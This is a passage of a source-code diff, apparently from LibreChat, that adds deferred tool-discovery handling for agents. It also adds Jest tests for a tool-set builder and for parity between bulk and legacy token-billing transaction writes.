+function parseToolSearchJson(content: string, discoveredTools: Set): boolean { + try { + const parsed = JSON.parse(content) as ToolSearchJsonResult; + if (!parsed.tools || !Array.isArray(parsed.tools)) { + return false; + } + for (const tool of parsed.tools) { + if (tool.name && typeof tool.name === 'string') { + discoveredTools.add(tool.name); + } + } + return parsed.tools.length > 0; + } catch { + return false; + } +} + +/** + * Parses tool names from legacy text-formatted tool_search output. + * Format: "- tool_name (score: X.XX)" + * + * @param content - The text content + * @param discoveredTools - Set to add discovered tool names to + */ +function parseToolSearchLegacy(content: string, discoveredTools: Set): void { + const toolNameRegex = /^- ([^\s(]+)\s*\(score:/gm; + let match: RegExpExecArray | null; + while ((match = toolNameRegex.exec(content)) !== null) { + const toolName = match[1]; + if (toolName) { + discoveredTools.add(toolName); + } + } +} + +/** + * Extracts discovered tool names from message history by parsing tool_search results. + * When the LLM calls tool_search, the result contains tool names that were discovered. + * These tools should have defer_loading overridden to false on subsequent turns. + * + * Supports both: + * - New JSON format: { "tools": [{ "name": "tool_name" }] } + * - Legacy text format: "- tool_name (score: X.XX)" + * + * @param messages - The conversation message history + * @returns Set of tool names that were discovered via tool_search + */ +export function extractDiscoveredToolsFromHistory(messages: BaseMessage[]): Set { + const discoveredTools = new Set(); + + for (const message of messages) { + const msgType = message._getType?.() ?? message.constructor?.name ?? ''; + if (msgType !== 'tool') { + continue; + } + + const name = (message as { name?: string }).name; + if (name !== Constants.TOOL_SEARCH) { + continue; + } + + const content = message.content; + if (typeof content !== 'string') { + continue; + } + + /** Try JSON format first (new), fall back to regex (legacy) */ + if (!parseToolSearchJson(content, discoveredTools)) { + parseToolSearchLegacy(content, discoveredTools); + } + } + + return discoveredTools; +} + +/** + * Overrides defer_loading to false for tools that were already discovered via tool_search. + * This prevents the LLM from having to re-discover tools on every turn. + * + * @param toolRegistry - The tool registry to modify (mutated in place) + * @param discoveredTools - Set of tool names that were previously discovered + * @returns Number of tools that had defer_loading overridden + */ +export function overrideDeferLoadingForDiscoveredTools( + toolRegistry: LCToolRegistry, + discoveredTools: Set, +): number { + let overrideCount = 0; + for (const toolName of discoveredTools) { + const toolDef = toolRegistry.get(toolName); + if (toolDef && toolDef.defer_loading === true) { + toolDef.defer_loading = false; + overrideCount++; + } + } + return overrideCount; +} + const customProviders = new Set([ Providers.XAI, Providers.DEEPSEEK, + Providers.MOONSHOT, Providers.OPENROUTER, KnownEndpoints.ollama, ]); @@ -48,6 +164,11 @@ type RunAgent = Omit & { maxContextTokens?: number; useLegacyContent?: boolean; toolContextMap?: Record; + toolRegistry?: LCToolRegistry; + /** Serializable tool definitions for event-driven execution */ + toolDefinitions?: LCTool[]; + /** Precomputed flag indicating if any tools have defer_loading enabled */ + hasDeferredTools?: boolean; }; /** @@ -60,12 +181,16 @@ type RunAgent = Omit & { * @param options.customHandlers - Custom event handlers. * @param options.streaming - Whether to use streaming. * @param options.streamUsage - Whether to stream usage information. + * @param options.messages - Optional message history to extract discovered tools from. + * When provided, tools that were previously discovered via tool_search will have + * their defer_loading overridden to false, preventing redundant re-discovery. * @returns {Promise>} A promise that resolves to a new Run instance. */ export async function createRun({ runId, signal, agents, + messages, requestBody, user, tokenCounter, @@ -81,9 +206,26 @@ export async function createRun({ streamUsage?: boolean; requestBody?: t.RequestBody; user?: IUser; + /** Message history for extracting previously discovered tools */ + messages?: BaseMessage[]; } & Pick): Promise< Run > { + /** + * Only extract discovered tools if: + * 1. We have message history to parse + * 2. At least one agent has deferred tools (using precomputed flag) + * + * This optimization avoids iterating through messages in the ~95% of cases + * where no agent uses deferred tool loading. + */ + const hasAnyDeferredTools = agents.some((agent) => agent.hasDeferredTools === true); + + const discoveredTools = + hasAnyDeferredTools && messages?.length + ? extractDiscoveredToolsFromHistory(messages) + : new Set(); + const agentInputs: AgentInputs[] = []; const buildAgentContext = (agent: RunAgent) => { const provider = @@ -135,17 +277,42 @@ export async function createRun({ llmConfig.usage = true; } + /** + * Override defer_loading for tools that were discovered in previous turns. + * This prevents the LLM from having to re-discover tools via tool_search. + * Also add the discovered tools' definitions so the LLM has their schemas. + */ + let toolDefinitions = agent.toolDefinitions ?? []; + if (discoveredTools.size > 0 && agent.toolRegistry) { + overrideDeferLoadingForDiscoveredTools(agent.toolRegistry, discoveredTools); + + /** Add discovered tools' definitions so the LLM can see their schemas */ + const existingToolNames = new Set(toolDefinitions.map((d) => d.name)); + for (const toolName of discoveredTools) { + if (existingToolNames.has(toolName)) { + continue; + } + const toolDef = agent.toolRegistry.get(toolName); + if (toolDef) { + toolDefinitions = [...toolDefinitions, toolDef]; + } + } + } + const reasoningKey = getReasoningKey(provider, llmConfig, agent.endpoint); const agentInput: AgentInputs = { provider, reasoningKey, + toolDefinitions, agentId: agent.id, - name: agent.name ?? undefined, tools: agent.tools, clientOptions: llmConfig, instructions: systemContent, + name: agent.name ?? undefined, + toolRegistry: agent.toolRegistry, maxContextTokens: agent.maxContextTokens, useLegacyContent: agent.useLegacyContent ?? false, + discoveredTools: discoveredTools.size > 0 ? Array.from(discoveredTools) : undefined, }; agentInputs.push(agentInput); }; diff --git a/packages/api/src/agents/tools.spec.ts b/packages/api/src/agents/tools.spec.ts new file mode 100644 index 0000000000..49887fbb02 --- /dev/null +++ b/packages/api/src/agents/tools.spec.ts @@ -0,0 +1,126 @@ +import { buildToolSet, BuildToolSetConfig } from './tools'; + +describe('buildToolSet', () => { + describe('event-driven mode (toolDefinitions)', () => { + it('builds toolSet from toolDefinitions when available', () => { + const agentConfig: BuildToolSetConfig = { + toolDefinitions: [ + { name: 'tool_search', description: 'Search for tools' }, + { name: 'list_commits_mcp_github', description: 'List commits' }, + { name: 'calculator', description: 'Calculate' }, + ], + tools: [], + }; + + const toolSet = buildToolSet(agentConfig); + + expect(toolSet.size).toBe(3); + expect(toolSet.has('tool_search')).toBe(true); + expect(toolSet.has('list_commits_mcp_github')).toBe(true); + expect(toolSet.has('calculator')).toBe(true); + }); + + it('includes tool_search in toolSet for deferred tools workflow', () => { + const agentConfig: BuildToolSetConfig = { + toolDefinitions: [ + { name: 'tool_search', description: 'Search for deferred tools' }, + { name: 'deferred_tool_1', description: 'A deferred tool', defer_loading: true }, + { name: 'deferred_tool_2', description: 'Another deferred tool', defer_loading: true }, + ], + }; + + const toolSet = buildToolSet(agentConfig); + + expect(toolSet.has('tool_search')).toBe(true); + expect(toolSet.has('deferred_tool_1')).toBe(true); + expect(toolSet.has('deferred_tool_2')).toBe(true); + }); + + it('prefers toolDefinitions over tools when both are present', () => { + const agentConfig: BuildToolSetConfig = { + toolDefinitions: [{ name: 'from_definitions' }], + tools: [{ name: 'from_tools' }], + }; + + const toolSet = buildToolSet(agentConfig); + + expect(toolSet.size).toBe(1); + expect(toolSet.has('from_definitions')).toBe(true); + expect(toolSet.has('from_tools')).toBe(false); + }); + }); + + describe('legacy mode (tools)', () => { + it('falls back to tools when toolDefinitions is empty', () => { + const agentConfig: BuildToolSetConfig = { + toolDefinitions: [], + tools: [{ name: 'web_search' }, { name: 'calculator' }], + }; + + const toolSet = buildToolSet(agentConfig); + + expect(toolSet.size).toBe(2); + expect(toolSet.has('web_search')).toBe(true); + expect(toolSet.has('calculator')).toBe(true); + }); + + it('falls back to tools when toolDefinitions is undefined', () => { + const agentConfig: BuildToolSetConfig = { + tools: [{ name: 'tool_a' }, { name: 'tool_b' }], + }; + + const toolSet = buildToolSet(agentConfig); + + expect(toolSet.size).toBe(2); + expect(toolSet.has('tool_a')).toBe(true); + expect(toolSet.has('tool_b')).toBe(true); + }); + }); + + describe('edge cases', () => { + it('returns empty set when agentConfig is null', () => { + const toolSet = buildToolSet(null); + expect(toolSet.size).toBe(0); + }); + + it('returns empty set when agentConfig is undefined', () => { + const toolSet = buildToolSet(undefined); + expect(toolSet.size).toBe(0); + }); + + it('returns empty set when both toolDefinitions and tools are empty', () => { + const agentConfig: BuildToolSetConfig = { + toolDefinitions: [], + tools: [], + }; + + const toolSet = buildToolSet(agentConfig); + expect(toolSet.size).toBe(0); + }); + + it('filters out null/undefined tool entries', () => { + const agentConfig: BuildToolSetConfig = { + tools: [{ name: 'valid_tool' }, null, undefined, { name: 'another_valid' }], + }; + + const toolSet = buildToolSet(agentConfig); + + expect(toolSet.size).toBe(2); + expect(toolSet.has('valid_tool')).toBe(true); + expect(toolSet.has('another_valid')).toBe(true); + }); + + it('filters out empty string tool names', () => { + const agentConfig: BuildToolSetConfig = { + toolDefinitions: [{ name: 'valid' }, { name: '' }, { name: 'also_valid' }], + }; + + const toolSet = buildToolSet(agentConfig); + + expect(toolSet.size).toBe(2); + expect(toolSet.has('valid')).toBe(true); + expect(toolSet.has('also_valid')).toBe(true); + expect(toolSet.has('')).toBe(false); + }); + }); +}); diff --git a/packages/api/src/agents/tools.ts b/packages/api/src/agents/tools.ts new file mode 100644 index 0000000000..ad1a724e4f --- /dev/null +++ b/packages/api/src/agents/tools.ts @@ -0,0 +1,39 @@ +interface ToolDefLike { + name: string; + [key: string]: unknown; +} + +interface ToolInstanceLike { + name: string; + [key: string]: unknown; +} + +export interface BuildToolSetConfig { + toolDefinitions?: ToolDefLike[]; + tools?: (ToolInstanceLike | null | undefined)[]; +} + +/** + * Builds a Set of tool names for use with formatAgentMessages. + * + * In event-driven mode, tools are defined via toolDefinitions (which includes + * deferred tools like tool_search). In legacy mode, tools come from loaded + * tool instances. + * + * This ensures tool_search and other deferred tools are included in the toolSet, + * allowing their ToolMessages to be preserved in conversation history. + */ +export function buildToolSet(agentConfig: BuildToolSetConfig | null | undefined): Set { + if (!agentConfig) { + return new Set(); + } + + const { toolDefinitions, tools } = agentConfig; + + const toolNames = + toolDefinitions && toolDefinitions.length > 0 + ? toolDefinitions.map((def) => def.name) + : (tools ?? []).map((tool) => tool?.name); + + return new Set(toolNames.filter((name): name is string => Boolean(name))); +} diff --git a/packages/api/src/agents/transactions.bulk-parity.spec.ts b/packages/api/src/agents/transactions.bulk-parity.spec.ts new file mode 100644 index 0000000000..bf89682d6f --- /dev/null +++ b/packages/api/src/agents/transactions.bulk-parity.spec.ts @@ -0,0 +1,559 @@ +/** + * Real-DB parity tests for the bulk transaction path. + * + * Each test uses the actual getMultiplier/getCacheMultiplier pricing functions + * (the same ones the legacy createTransaction path uses) and runs the bulk path + * against a real MongoMemoryServer instance. + * + * The assertion pattern: compute the expected tokenValue/rate/rawAmount from the + * pricing functions directly, then verify the DB state matches exactly. Since both + * legacy (createTransaction) and bulk (prepareTokenSpend + bulkWriteTransactions) + * call the same pricing functions with the same inputs, their outputs must be + * numerically identical. + */ +import mongoose from 'mongoose'; +import { MongoMemoryServer } from 'mongodb-memory-server'; +import { + CANCEL_RATE, + createMethods, + balanceSchema, + transactionSchema, +} from '@librechat/data-schemas'; +import type { PricingFns, TxMetadata } from './transactions'; +import { + prepareStructuredTokenSpend, + bulkWriteTransactions, + prepareTokenSpend, +} from './transactions'; + +jest.mock('@librechat/data-schemas', () => { + const actual = jest.requireActual('@librechat/data-schemas'); + return { + ...actual, + logger: { debug: jest.fn(), error: jest.fn(), warn: jest.fn(), info: jest.fn() }, + }; +}); + +// Real pricing functions from api/models/tx.js — same ones the legacy path uses +/* eslint-disable @typescript-eslint/no-require-imports */ +const { + getMultiplier, + getCacheMultiplier, + tokenValues, + premiumTokenValues, +} = require('../../../../api/models/tx.js'); +/* eslint-enable @typescript-eslint/no-require-imports */ + +const pricing: PricingFns = { getMultiplier, getCacheMultiplier }; + +let mongoServer: MongoMemoryServer; +let Transaction: mongoose.Model; +let Balance: mongoose.Model; +let dbMethods: ReturnType; + +beforeAll(async () => { + mongoServer = await MongoMemoryServer.create(); + await mongoose.connect(mongoServer.getUri()); + Transaction = mongoose.models.Transaction || mongoose.model('Transaction', transactionSchema); + Balance = mongoose.models.Balance || mongoose.model('Balance', balanceSchema); + dbMethods = createMethods(mongoose); +}); + +afterAll(async () => { + await mongoose.disconnect(); + await mongoServer.stop(); +}); + +beforeEach(async () => { + await mongoose.connection.dropDatabase(); +}); + +const dbOps = () => ({ + insertMany: dbMethods.bulkInsertTransactions, + updateBalance: dbMethods.updateBalance, +}); + +function txMeta(user: string, extra: Partial = {}): TxMetadata { + return { + user, + conversationId: 'test-convo', + context: 'test', + balance: { enabled: true }, + transactions: { enabled: true }, + ...extra, + }; +} + +describe('Standard token parity', () => { + test('balance should decrease by promptCost + completionCost — identical to legacy path', async () => { + const userId = new mongoose.Types.ObjectId().toString(); + const initialBalance = 10000000; + await Balance.create({ user: userId, tokenCredits: initialBalance }); + + const model = 'gpt-3.5-turbo'; + const promptTokens = 100; + const completionTokens = 50; + + const promptMultiplier = getMultiplier({ + model, + tokenType: 'prompt', + inputTokenCount: promptTokens, + }); + const completionMultiplier = getMultiplier({ + model, + tokenType: 'completion', + inputTokenCount: promptTokens, + }); + const expectedCost = promptTokens * promptMultiplier + completionTokens * completionMultiplier; + const expectedBalance = initialBalance - expectedCost; + + const entries = prepareTokenSpend( + txMeta(userId, { model }), + { promptTokens, completionTokens }, + pricing, + ); + await bulkWriteTransactions({ user: userId, docs: entries }, dbOps()); + + const balance = (await Balance.findOne({ user: userId }).lean()) as Record; + expect(balance.tokenCredits).toBeCloseTo(expectedBalance, 0); + + const txns = (await Transaction.find({ user: userId }).lean()) as Record[]; + expect(txns).toHaveLength(2); + const promptTx = txns.find((t) => t.tokenType === 'prompt'); + const completionTx = txns.find((t) => t.tokenType === 'completion'); + expect(promptTx!.rawAmount).toBe(-promptTokens); + expect(promptTx!.rate).toBe(promptMultiplier); + expect(promptTx!.tokenValue).toBe(-promptTokens * promptMultiplier); + expect(completionTx!.rawAmount).toBe(-completionTokens); + expect(completionTx!.rate).toBe(completionMultiplier); + expect(completionTx!.tokenValue).toBe(-completionTokens * completionMultiplier); + }); + + test('balance unchanged when balance.enabled is false — identical to legacy path', async () => { + const userId = new mongoose.Types.ObjectId().toString(); + const initialBalance = 10000000; + await Balance.create({ user: userId, tokenCredits: initialBalance }); + + const entries = prepareTokenSpend( + txMeta(userId, { model: 'gpt-3.5-turbo', balance: { enabled: false } }), + { promptTokens: 100, completionTokens: 50 }, + pricing, + ); + await bulkWriteTransactions({ user: userId, docs: entries }, dbOps()); + + const balance = (await Balance.findOne({ user: userId }).lean()) as Record; + expect(balance.tokenCredits).toBe(initialBalance); + const txns = await Transaction.find({ user: userId }).lean(); + expect(txns).toHaveLength(2); // transactions still inserted + }); + + test('no docs when transactions.enabled is false — identical to legacy path', async () => { + const userId = new mongoose.Types.ObjectId().toString(); + const initialBalance = 10000000; + await Balance.create({ user: userId, tokenCredits: initialBalance }); + + const entries = prepareTokenSpend( + txMeta(userId, { model: 'gpt-3.5-turbo', transactions: { enabled: false } }), + { promptTokens: 100, completionTokens: 50 }, + pricing, + ); + await bulkWriteTransactions({ user: userId, docs: entries }, dbOps()); + + const txns = await Transaction.find({ user: userId }).lean(); + expect(txns).toHaveLength(0); + const balance = (await Balance.findOne({ user: userId }).lean()) as Record; + expect(balance.tokenCredits).toBe(initialBalance); + }); + + test('abort context — transactions inserted, no balance update when balance not passed', async () => { + const userId = new mongoose.Types.ObjectId().toString(); + const initialBalance = 10000000; + await Balance.create({ user: userId, tokenCredits: initialBalance }); + + const model = 'gpt-3.5-turbo'; + const entries = prepareTokenSpend( + txMeta(userId, { model, context: 'abort', balance: undefined }), + { promptTokens: 100, completionTokens: 50 }, + pricing, + ); + await bulkWriteTransactions({ user: userId, docs: entries }, dbOps()); + + const txns = await Transaction.find({ user: userId }).lean(); + expect(txns).toHaveLength(2); + const balance = (await Balance.findOne({ user: userId }).lean()) as Record; + expect(balance.tokenCredits).toBe(initialBalance); + }); + + test('NaN promptTokens — only completion doc inserted, identical to legacy', async () => { + const userId = new mongoose.Types.ObjectId().toString(); + const initialBalance = 10000000; + await Balance.create({ user: userId, tokenCredits: initialBalance }); + + const entries = prepareTokenSpend( + txMeta(userId, { model: 'gpt-3.5-turbo' }), + { promptTokens: NaN, completionTokens: 50 }, + pricing, + ); + await bulkWriteTransactions({ user: userId, docs: entries }, dbOps()); + + const txns = (await Transaction.find({ user: userId }).lean()) as Record[]; + expect(txns).toHaveLength(1); + expect(txns[0].tokenType).toBe('completion'); + }); + + test('zero tokens produce docs with rawAmount=0, tokenValue=0', async () => { + const userId = new mongoose.Types.ObjectId().toString(); + await Balance.create({ user: userId, tokenCredits: 10000 }); + + const entries = prepareTokenSpend( + txMeta(userId, { model: 'gpt-3.5-turbo' }), + { promptTokens: 0, completionTokens: 0 }, + pricing, + ); + await bulkWriteTransactions({ user: userId, docs: entries }, dbOps()); + + const txns = (await Transaction.find({ user: userId }).lean()) as Record[]; + expect(txns).toHaveLength(2); + expect(txns.every((t) => t.rawAmount === 0)).toBe(true); + expect(txns.every((t) => t.tokenValue === 0)).toBe(true); + }); +}); + +describe('CANCEL_RATE parity (incomplete context)', () => { + test('CANCEL_RATE applied to completion token — same tokenValue as legacy', async () => { + const userId = new mongoose.Types.ObjectId().toString(); + await Balance.create({ user: userId, tokenCredits: 10000000 }); + + const model = 'claude-3-5-sonnet'; + const completionTokens = 50; + const promptTokens = 10; + + const completionMultiplier = getMultiplier({ + model, + tokenType: 'completion', + inputTokenCount: promptTokens, + }); + const expectedCompletionTokenValue = Math.ceil( + -completionTokens * completionMultiplier * CANCEL_RATE, + ); + + const entries = prepareTokenSpend( + txMeta(userId, { model, context: 'incomplete' }), + { promptTokens, completionTokens }, + pricing, + ); + await bulkWriteTransactions({ user: userId, docs: entries }, dbOps()); + + const txns = (await Transaction.find({ user: userId }).lean()) as Record[]; + const completionTx = txns.find((t) => t.tokenType === 'completion'); + expect(completionTx!.tokenValue).toBe(expectedCompletionTokenValue); + expect(completionTx!.rate).toBeCloseTo(completionMultiplier * CANCEL_RATE, 5); + }); + + test('CANCEL_RATE NOT applied to prompt tokens in incomplete context', async () => { + const userId = new mongoose.Types.ObjectId().toString(); + await Balance.create({ user: userId, tokenCredits: 10000000 }); + + const model = 'claude-3-5-sonnet'; + const promptTokens = 100; + + const promptMultiplier = getMultiplier({ + model, + tokenType: 'prompt', + inputTokenCount: promptTokens, + }); + + const entries = prepareTokenSpend( + txMeta(userId, { model, context: 'incomplete' }), + { promptTokens, completionTokens: 0 }, + pricing, + ); + await bulkWriteTransactions({ user: userId, docs: entries }, dbOps()); + + const txns = (await Transaction.find({ user: userId }).lean()) as Record[]; + const promptTx = txns.find((t) => t.tokenType === 'prompt'); + expect(promptTx!.rate).toBe(promptMultiplier); // no CANCEL_RATE + }); +}); + +describe('Structured token parity', () => { + test('balance deduction identical to legacy spendStructuredTokens', async () => { + const userId = new mongoose.Types.ObjectId().toString(); + const initialBalance = 17613154.55; + await Balance.create({ user: userId, tokenCredits: initialBalance }); + + const model = 'claude-3-5-sonnet'; + const tokenUsage = { + promptTokens: { input: 11, write: 140522, read: 0 }, + completionTokens: 5, + }; + + const promptMultiplier = getMultiplier({ + model, + tokenType: 'prompt', + inputTokenCount: 11 + 140522, + }); + const completionMultiplier = getMultiplier({ + model, + tokenType: 'completion', + inputTokenCount: 11 + 140522, + }); + const writeMultiplier = getCacheMultiplier({ model, cacheType: 'write' }) ?? promptMultiplier; + const readMultiplier = getCacheMultiplier({ model, cacheType: 'read' }) ?? promptMultiplier; + + const expectedPromptCost = + tokenUsage.promptTokens.input * promptMultiplier + + tokenUsage.promptTokens.write * writeMultiplier + + tokenUsage.promptTokens.read * readMultiplier; + const expectedCompletionCost = tokenUsage.completionTokens * completionMultiplier; + const expectedTotalCost = expectedPromptCost + expectedCompletionCost; + const expectedBalance = initialBalance - expectedTotalCost; + + const entries = prepareStructuredTokenSpend(txMeta(userId, { model }), tokenUsage, pricing); + await bulkWriteTransactions({ user: userId, docs: entries }, dbOps()); + + const balance = (await Balance.findOne({ user: userId }).lean()) as Record; + expect(Math.abs((balance.tokenCredits as number) - expectedBalance)).toBeLessThan(100); + + const txns = (await Transaction.find({ user: userId }).lean()) as Record[]; + const promptTx = txns.find((t) => t.tokenType === 'prompt'); + expect(promptTx!.inputTokens).toBe(-11); + expect(promptTx!.writeTokens).toBe(-140522); + expect(Math.abs(Number(promptTx!.readTokens ?? 0))).toBe(0); + }); + + test('structured tokens with both cache_creation and cache_read', async () => { + const userId = new mongoose.Types.ObjectId().toString(); + const initialBalance = 10000000; + await Balance.create({ user: userId, tokenCredits: initialBalance }); + + const model = 'claude-3-5-sonnet'; + const tokenUsage = { + promptTokens: { input: 100, write: 50, read: 30 }, + completionTokens: 80, + }; + const totalInput = 180; + + const promptMultiplier = getMultiplier({ + model, + tokenType: 'prompt', + inputTokenCount: totalInput, + }); + const writeMultiplier = getCacheMultiplier({ model, cacheType: 'write' }) ?? promptMultiplier; + const readMultiplier = getCacheMultiplier({ model, cacheType: 'read' }) ?? promptMultiplier; + const completionMultiplier = getMultiplier({ + model, + tokenType: 'completion', + inputTokenCount: totalInput, + }); + + const expectedPromptCost = 100 * promptMultiplier + 50 * writeMultiplier + 30 * readMultiplier; + const expectedCost = expectedPromptCost + 80 * completionMultiplier; + + const entries = prepareStructuredTokenSpend(txMeta(userId, { model }), tokenUsage, pricing); + await bulkWriteTransactions({ user: userId, docs: entries }, dbOps()); + + const txns = (await Transaction.find({ user: userId }).lean()) as Record[]; + expect(txns).toHaveLength(2); + const promptTx = txns.find((t) => t.tokenType === 'prompt'); + expect(promptTx!.inputTokens).toBe(-100); + expect(promptTx!.writeTokens).toBe(-50); + expect(promptTx!.readTokens).toBe(-30); + + const balance = (await Balance.findOne({ user: userId }).lean()) as Record; + expect( + Math.abs((balance.tokenCredits as number) - (initialBalance - expectedCost)), + ).toBeLessThan(1); + }); + + test('CANCEL_RATE applied to completion in structured incomplete context', async () => { + const userId = new mongoose.Types.ObjectId().toString(); + await Balance.create({ user: userId, tokenCredits: 17613154.55 }); + + const model = 'claude-3-5-sonnet'; + const tokenUsage = { + promptTokens: { input: 10, write: 100, read: 5 }, + completionTokens: 50, + }; + + const completionMultiplier = getMultiplier({ + model, + tokenType: 'completion', + inputTokenCount: 115, + }); + const expectedCompletionTokenValue = Math.ceil(-50 * completionMultiplier * CANCEL_RATE); + + const entries = prepareStructuredTokenSpend( + txMeta(userId, { model, context: 'incomplete' }), + tokenUsage, + pricing, + ); + await bulkWriteTransactions({ user: userId, docs: entries }, dbOps()); + + const txns = (await Transaction.find({ user: userId }).lean()) as Record[]; + const completionTx = txns.find((t) => t.tokenType === 'completion'); + expect(completionTx!.tokenValue).toBeCloseTo(expectedCompletionTokenValue, 0); + }); +}); + +describe('Premium pricing parity', () => { + test('standard pricing below threshold — identical to legacy', async () => { + const userId = new mongoose.Types.ObjectId().toString(); + const initialBalance = 100000000; + await Balance.create({ user: userId, tokenCredits: initialBalance }); + + const model = 'claude-opus-4-6'; + const promptTokens = 100000; + const completionTokens = 500; + + const standardPromptRate = (tokenValues as Record>)[model] + .prompt; + const standardCompletionRate = (tokenValues as Record>)[model] + .completion; + const expectedCost = + promptTokens * standardPromptRate + completionTokens * standardCompletionRate; + + const entries = prepareTokenSpend( + txMeta(userId, { model }), + { promptTokens, completionTokens }, + pricing, + ); + await bulkWriteTransactions({ user: userId, docs: entries }, dbOps()); + + const balance = (await Balance.findOne({ user: userId }).lean()) as Record; + expect(balance.tokenCredits).toBeCloseTo(initialBalance - expectedCost, 0); + }); + + test('premium pricing above threshold — identical to legacy', async () => { + const userId = new mongoose.Types.ObjectId().toString(); + const initialBalance = 100000000; + await Balance.create({ user: userId, tokenCredits: initialBalance }); + + const model = 'claude-opus-4-6'; + const promptTokens = 250000; + const completionTokens = 500; + + const premiumPromptRate = (premiumTokenValues as Record>)[model] + .prompt; + const premiumCompletionRate = (premiumTokenValues as Record>)[ + model + ].completion; + const expectedCost = + promptTokens * premiumPromptRate + completionTokens * premiumCompletionRate; + + const entries = prepareTokenSpend( + txMeta(userId, { model }), + { promptTokens, completionTokens }, + pricing, + ); + await bulkWriteTransactions({ user: userId, docs: entries }, dbOps()); + + const balance = (await Balance.findOne({ user: userId }).lean()) as Record; + expect(balance.tokenCredits).toBeCloseTo(initialBalance - expectedCost, 0); + }); + + test('standard pricing at exactly the threshold — identical to legacy', async () => { + const userId = new mongoose.Types.ObjectId().toString(); + const initialBalance = 100000000; + await Balance.create({ user: userId, tokenCredits: initialBalance }); + + const model = 'claude-opus-4-6'; + const promptTokens = (premiumTokenValues as Record>)[model] + .threshold; + const completionTokens = 500; + + const standardPromptRate = (tokenValues as Record>)[model] + .prompt; + const standardCompletionRate = (tokenValues as Record>)[model] + .completion; + const expectedCost = + promptTokens * standardPromptRate + completionTokens * standardCompletionRate; + + const entries = prepareTokenSpend( + txMeta(userId, { model }), + { promptTokens, completionTokens }, + pricing, + ); + await bulkWriteTransactions({ user: userId, docs: entries }, dbOps()); + + const balance = (await Balance.findOne({ user: userId }).lean()) as Record; + expect(balance.tokenCredits).toBeCloseTo(initialBalance - expectedCost, 0); + }); +}); + +describe('Multi-entry batch parity', () => { + test('real-world sequential tool calls — total balance deduction identical to N individual legacy calls', async () => { + const userId = new mongoose.Types.ObjectId().toString(); + const initialBalance = 100000000; + await Balance.create({ user: userId, tokenCredits: initialBalance }); + + const model = 'claude-opus-4-5-20251101'; + const calls = [ + { promptTokens: 31596, completionTokens: 151 }, + { promptTokens: 35368, completionTokens: 150 }, + { promptTokens: 58362, completionTokens: 295 }, + { promptTokens: 112604, completionTokens: 193 }, + { promptTokens: 257440, completionTokens: 2217 }, + ]; + + let expectedTotalCost = 0; + const allEntries = []; + for (const { promptTokens, completionTokens } of calls) { + const pm = getMultiplier({ model, tokenType: 'prompt', inputTokenCount: promptTokens }); + const cm = getMultiplier({ model, tokenType: 'completion', inputTokenCount: promptTokens }); + expectedTotalCost += promptTokens * pm + completionTokens * cm; + const entries = prepareTokenSpend( + txMeta(userId, { model }), + { promptTokens, completionTokens }, + pricing, + ); + allEntries.push(...entries); + } + + await bulkWriteTransactions({ user: userId, docs: allEntries }, dbOps()); + + const txns = await Transaction.find({ user: userId }).lean(); + expect(txns).toHaveLength(10); // 5 calls × 2 docs + + const balance = (await Balance.findOne({ user: userId }).lean()) as Record; + expect(balance.tokenCredits).toBeCloseTo(initialBalance - expectedTotalCost, 0); + }); + + test('structured premium above threshold — batch vs individual produce same balance deduction', async () => { + const userId = new mongoose.Types.ObjectId().toString(); + const initialBalance = 100000000; + await Balance.create({ user: userId, tokenCredits: initialBalance }); + + const model = 'claude-opus-4-6'; + const tokenUsage = { + promptTokens: { input: 200000, write: 10000, read: 5000 }, + completionTokens: 1000, + }; + const totalInput = 215000; + + const premiumPromptRate = (premiumTokenValues as Record>)[model] + .prompt; + const premiumCompletionRate = (premiumTokenValues as Record>)[ + model + ].completion; + const writeMultiplier = getCacheMultiplier({ model, cacheType: 'write' }); + const readMultiplier = getCacheMultiplier({ model, cacheType: 'read' }); + + const expectedPromptCost = + tokenUsage.promptTokens.input * premiumPromptRate + + tokenUsage.promptTokens.write * writeMultiplier + + tokenUsage.promptTokens.read * readMultiplier; + const expectedCompletionCost = tokenUsage.completionTokens * premiumCompletionRate; + const expectedTotalCost = expectedPromptCost + expectedCompletionCost; + + expect(totalInput).toBeGreaterThan( + (premiumTokenValues as Record>)[model].threshold, + ); + + const entries = prepareStructuredTokenSpend(txMeta(userId, { model }), tokenUsage, pricing); + await bulkWriteTransactions({ user: userId, docs: entries }, dbOps()); + + const balance = (await Balance.findOne({ user: userId }).lean()) as Record; + expect(balance.tokenCredits).toBeCloseTo(initialBalance - expectedTotalCost, 0); + }); +}); diff --git a/packages/api/src/agents/transactions.spec.ts b/packages/api/src/agents/transactions.spec.ts new file mode 100644 index 0000000000..99fb7cdd85 --- /dev/null +++ b/packages/api/src/agents/transactions.spec.ts @@ -0,0 +1,474 @@ +import mongoose from 'mongoose'; +import { MongoMemoryServer } from 'mongodb-memory-server'; +import { + CANCEL_RATE, + createMethods, + balanceSchema, + transactionSchema, +} from '@librechat/data-schemas'; +import type { PricingFns, TxMetadata, PreparedEntry } from './transactions'; +import { + prepareStructuredTokenSpend, + bulkWriteTransactions, + prepareTokenSpend, +} from './transactions'; + +jest.mock('@librechat/data-schemas', () => { + const actual = jest.requireActual('@librechat/data-schemas'); + return { + ...actual, + logger: { + debug: jest.fn(), + error: jest.fn(), + warn: jest.fn(), + info: jest.fn(), + }, + }; +}); + +let mongoServer: MongoMemoryServer; +let Transaction: mongoose.Model; +let Balance: mongoose.Model; +let dbMethods: ReturnType; + +beforeAll(async () => { + mongoServer = await MongoMemoryServer.create(); + await mongoose.connect(mongoServer.getUri()); + Transaction = mongoose.models.Transaction || mongoose.model('Transaction', transactionSchema); + Balance = mongoose.models.Balance || mongoose.model('Balance', balanceSchema); + dbMethods = createMethods(mongoose); +}); + +afterAll(async () => { + await mongoose.disconnect(); + await mongoServer.stop(); +}); + +beforeEach(async () => { + await mongoose.connection.dropDatabase(); +}); + +const testUserId = new mongoose.Types.ObjectId().toString(); + +const baseTxData: TxMetadata = { + user: testUserId, + context: 'message', + conversationId: 'convo-123', + model: 'gpt-4', + messageId: 'msg-123', + balance: { enabled: true }, + transactions: { enabled: true }, +}; + +const mockPricing: PricingFns = { + getMultiplier: jest.fn().mockReturnValue(2), + getCacheMultiplier: jest.fn().mockReturnValue(null), +}; + +describe('prepareTokenSpend', () => { + beforeEach(() => { + jest.clearAllMocks(); + }); + + it('should prepare prompt + completion entries', () => { + const entries = prepareTokenSpend( + baseTxData, + { promptTokens: 100, completionTokens: 50 }, + mockPricing, + ); + expect(entries).toHaveLength(2); + expect(entries[0].doc.tokenType).toBe('prompt'); + expect(entries[1].doc.tokenType).toBe('completion'); + }); + + it('should return empty array when transactions disabled', () => { + const txData = { ...baseTxData, transactions: { enabled: false } }; + const entries = 